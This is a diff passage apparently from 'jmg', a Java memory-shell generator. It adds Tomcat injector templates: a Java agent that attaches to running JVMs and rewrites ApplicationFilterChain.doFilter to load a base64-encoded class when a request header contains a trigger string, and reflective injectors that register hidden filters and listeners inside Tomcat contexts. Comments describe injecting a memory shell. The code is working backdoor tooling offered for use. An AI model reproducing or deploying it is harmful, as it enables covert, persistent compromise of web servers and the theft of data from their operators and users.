+    private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    private static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+
+    }
+}

jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java

@@ -0,0 +1,255 @@
+package jmg.core.template;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.IllegalClassFormatException;
+import java.lang.instrument.Instrumentation;
+import java.lang.instrument.UnmodifiableClassException;
+import java.lang.management.ManagementFactory;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.security.ProtectionDomain;
+import java.util.ArrayList;
+import java.util.List;
+
+public class TomcatAgentTransformer implements ClassFileTransformer {
+
+    public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
+    public static final String targetMethodName = "doFilter";
+    public String injectHeaderName = "User-Agent";
+
+    public String injectHeaderValue = "magic";
+
+    public String getInjectorCode() {
+        return "";
+    }
+
+    public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
+        instrumentation.addTransformer(new TomcatAgentTransformer(), true);
+        for (Class clz : instrumentation.getAllLoadedClasses()) {
+            if (!clz.getName().equals(targetClassName)) continue;
+            instrumentation.retransformClasses(clz);
+        }
+    }
+
+    @Override
+    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
+        className = className.replace("/", ".");
+        if (className.equals(targetClassName) && classBeingRedefined != null) {
+            try {
+                ClassPool pool = ClassPool.getDefault();
+                pool.insertClassPath(new ClassClassPath(classBeingRedefined));
+                CtClass ctClass = pool.getCtClass(className);
+                CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
+                String injectorCode = getInjectorCode();
+                String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
+                        "    javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
+                        "    javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
+                        "    try {\n" +
+                        "        if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
+                        "            String injectorCode = \"%s\";\n" +
+                        "            byte[] byteArray;\n" +
+                        "            try {\n" +
+                        "                Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
+                        "                byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
+                        "            } catch (Throwable e) {\n" +
+                        "                Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
+                        "                Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
+                        "                byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
+                        "            }\n" +
+                        "            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
+                        "            java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
+                        "            method.setAccessible(true);\n" +
+                        "            Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
+                        "            clazz.newInstance();\n" +
+                        "    }\n" +
+                        "    } catch (Exception e) {\n" +
+                        "        e.printStackTrace();\n" +
+                        "    }\n" +
+                        "}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
+                ctMethod.insertBefore(code);
+                byte[] bytes = ctClass.toBytecode();
+                ctClass.detach();
+                return bytes;
+            } catch (Exception e) {
+                e.printStackTrace();
+                return new byte[0];
+            }
+        }
+        return new byte[0];
+    }
+
+    private static Class virtualMachineClass;
+    private static Class virtualMachineDescriptorClass;
+    private static List<Object> vms;
+
+    static {
+        try {
+            // 获取 tools.jar 的路径
+            StringBuilder toolsJarPath = new StringBuilder();
+            toolsJarPath.append(System.getProperty("java.home"))
+                    .append(File.separator)
+                    .append("..")
+                    .append(File.separator)
+                    .append("lib")
+                    .append(File.separator)
+                    .append("tools.jar");
+            File toolsJarFile = new File(toolsJarPath.toString());
+
+            // 如果 JDK 目录下没有找到 tools.jar（纯JRE）
+            if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
+                // 释放内置的 tools.jar
+                InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
+                toolsJarFile = File.createTempFile("tools", ".jar");
+
+                FileOutputStream out = null;
+                try {
+                    out = new FileOutputStream(toolsJarFile);
+                    byte[] buffer = new byte[1024];
+                    int bytesRead;
+                    while ((bytesRead = jarStream.read(buffer)) != -1) {
+                        out.write(buffer, 0, bytesRead);
+                    }
+                } finally {
+                    if (out != null) {
+                        out.close();
+                    }
+                }
+            }
+
+            // Load the VirtualMachine and VirtualMachineDescriptor classes
+            URL url = toolsJarFile.toURI().toURL();
+            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
+            virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
+            virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
+            vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    /*
+    使用方法：
+        java -jar jmg-agent.jar                    // 列出所有的 JVM 进程 ID
+        java -jar jmg-agent.jar all                // 将 agent 注入到所有 JVM 进程
+        java -jar jmg-agent.jar [pid]              // 将 agent 注入到指定的 JVM 进程，其中 [pid] 是 JVM 进程的 ID
+        java -jar jmg-agent.jar [displayName]      // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
+    */
+    public static void main(String[] args) throws Exception {
+        // 无参数 - 列出所有 JVM 进程 ID
+        if (args.length == 0) {
+            listAllJvmPids();
+        } else if (args.length == 1) {
+            String arg = args[0];
+            // "all"，将 agent 注入到所有 JVM 进程（试验性功能，缺少实战验证，所以自行编译使用）
+            if (arg.equalsIgnoreCase("all")) {
+                for (String jvmProcessId : getAllJvmPids()) {
+                    attachAgentToTargetJvm(jvmProcessId);
+                }
+            }
+            // JVM 进程 ID，将 agent 注入到指定的 JVM 进程
+            else {
+                try {
+                    Integer.parseInt(arg);
+                    attachAgentToTargetJvm(arg);
+                } catch (NumberFormatException e) {
+                    /*
+                      WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程（比参数 'all' 更优雅一点）
+                      WHAT：不是 JVM 进程 ID，将其视为 displayName，并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
+                      HOW： tomcat -> org.apache.catalina.startup.Bootstrap，可使用 java -jar jmg-agent.jar catalina 注入内存马
+                    */
+                    for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
+                        attachAgentToTargetJvm(jvmProcessId);
+                    }
+                }
+            }
+        } else {
+            throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
+        }
+    }
+
+    public static List<String> getAllJvmPids() throws Exception {
+        List<String> pids = new ArrayList<>();
+        for (Object vm : vms) {
+            Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
+            String id = (String) getId.invoke(vm);
+            pids.add(id);
+        }
+        return pids;
+    }
+
+    public static void listAllJvmPids() throws Exception {
+        for (Object vm : vms) {
+            Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
+            String displayName = (String) displayNameMethod.invoke(vm);
+            Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
+            String id = (String) getId.invoke(vm);
+            infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
+        }
+    }
+
+    public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
+        List<String> pids = new ArrayList<>();
+        for (Object vm : vms) {
+            Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
+            String currentDisplayName = (String) displayNameMethod.invoke(vm);
+            System.out.println(currentDisplayName);
+            System.out.println(displayName);
+            System.out.println();
+            if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
+                Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
+                String id = (String) getId.invoke(vm);
+                pids.add(id);
+            }
+        }
+        return pids;
+    }
+
+    private static void attachAgentToTargetJvm(String targetPID) throws Exception {
+        String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
+        infoLog("Current agent path: " + agentFilePath);
+        File agentFile = new File(agentFilePath);
+        String currentPid = getCurrentPID();
+        if (targetPID.equals(currentPid)) {
+            infoLog("Skipping attaching to self");
+        } else {
+            try {
+                infoLog("Attaching to target JVM with PID: " + targetPID);
+                Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
+                Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
+                loadAgent.invoke(jvm, agentFile.getAbsolutePath());
+                Method detach = virtualMachineClass.getDeclaredMethod("detach");
+                detach.invoke(jvm);
+                successLog("Attached to target JVM and loaded agent successfully");
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static String getCurrentPID() {
+        return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
+    }
+
+    public static void infoLog(String message) {
+        System.out.println("[*] " + message);
+    }
+
+    public static void failLog(String message) {
+        System.out.println("[-] " + message);
+    }
+
+    public static void successLog(String message) {
+        System.out.println("[+] " + message);
+    }
+
+}

jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java

@@ -0,0 +1,294 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Filter 注入器
+ * Tested version：
+ * jdk    v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ */
+
+public class TomcatFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new TomcatFilterInjectorTpl();
+    }
+
+    public TomcatFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext"))
+                                contexts.add(context);
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
+                                contexts.add(context);
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext"))
+                        contexts.add(context);
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
+                        contexts.add(context);
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+
+    private Object getFilter(Object context) {
+
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return filter;
+    }
+
+    public String getFilterName(String className) {
+        if (className.contains(".")) {
+            int lastDotIndex = className.lastIndexOf(".");
+            return className.substring(lastDotIndex + 1);
+        } else {
+            return className;
+        }
+    }
+
+
+    public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
+        ClassLoader catalinaLoader = getCatalinaLoader();
+        String filterClassName = getClassName();
+        String filterName = getFilterName(filterClassName);
+        Object filterDef;
+        Object filterMap;
+
+        // 防止重复注入
+        try {
+            if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
+                return;
+            }
+        } catch (Exception ignored) {
+        }
+
+        try {
+            // tomcat v8/9
+            filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
+            filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+        } catch (Exception e2) {
+            // tomcat v6/7
+            try {
+                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
+                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
+            } catch (Exception e) {
+                // tomcat v5
+                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
+                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
+            }
+        }
+        try {
+            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
+            Constructor<?>[] constructors;
+            try {
+                invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
+            } catch (Exception e) {
+                // tomcat v5
+                invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
+            }
+            try {
+                // v7.0.0 以上
+                invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            } catch (Exception e) {
+                invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            }
+
+            constructors[0].setAccessible(true);
+            Object filterConfig = constructors[0].newInstance(context, filterDef);
+            Map filterConfigs = (Map) getFV(context, "filterConfigs");
+            filterConfigs.put(filterName, filterConfig);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        ClassLoader catalinaLoader = null;
+        for (int i = 0; i < threads.length; i++) {
+            // 适配 v5 的 Class Loader 问题
+            if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
+                catalinaLoader = threads[i].getContextClassLoader();
+                break;
+            }
+        }
+        return catalinaLoader;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/TomcatListenerInjectorTpl.java

@@ -0,0 +1,230 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Tomcat Listener 注入器
+ * Author: pen4uin
+ * 测试版本：
+ * jdk    v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ */
+public class TomcatListenerInjectorTpl {
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new TomcatListenerInjectorTpl();
+    }
+
+    public TomcatListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext"))
+                                contexts.add(context);
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
+                                contexts.add(context);
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext"))
+                        contexts.add(context);
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
+                        contexts.add(context);
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    private Object getListener(Object context) {
+
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    public void addListener(Object context, Object listener) throws Exception {
+        if (isInjected(context, listener.getClass().getName())) {
+            return;
+        }
+        try {
+            invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
+        } catch (Exception e) {
+            Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
+            List listeners = Arrays.asList(objects);
+            ArrayList arrayList = new ArrayList(listeners);
+            arrayList.add(listener);
+            // (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
+            //context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
+            invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
+        }
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
+        List listeners = Arrays.asList(objects);
+        ArrayList arrayList = new ArrayList(listeners);
+        for (int i = 0; i < arrayList.size(); i++) {
+            if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
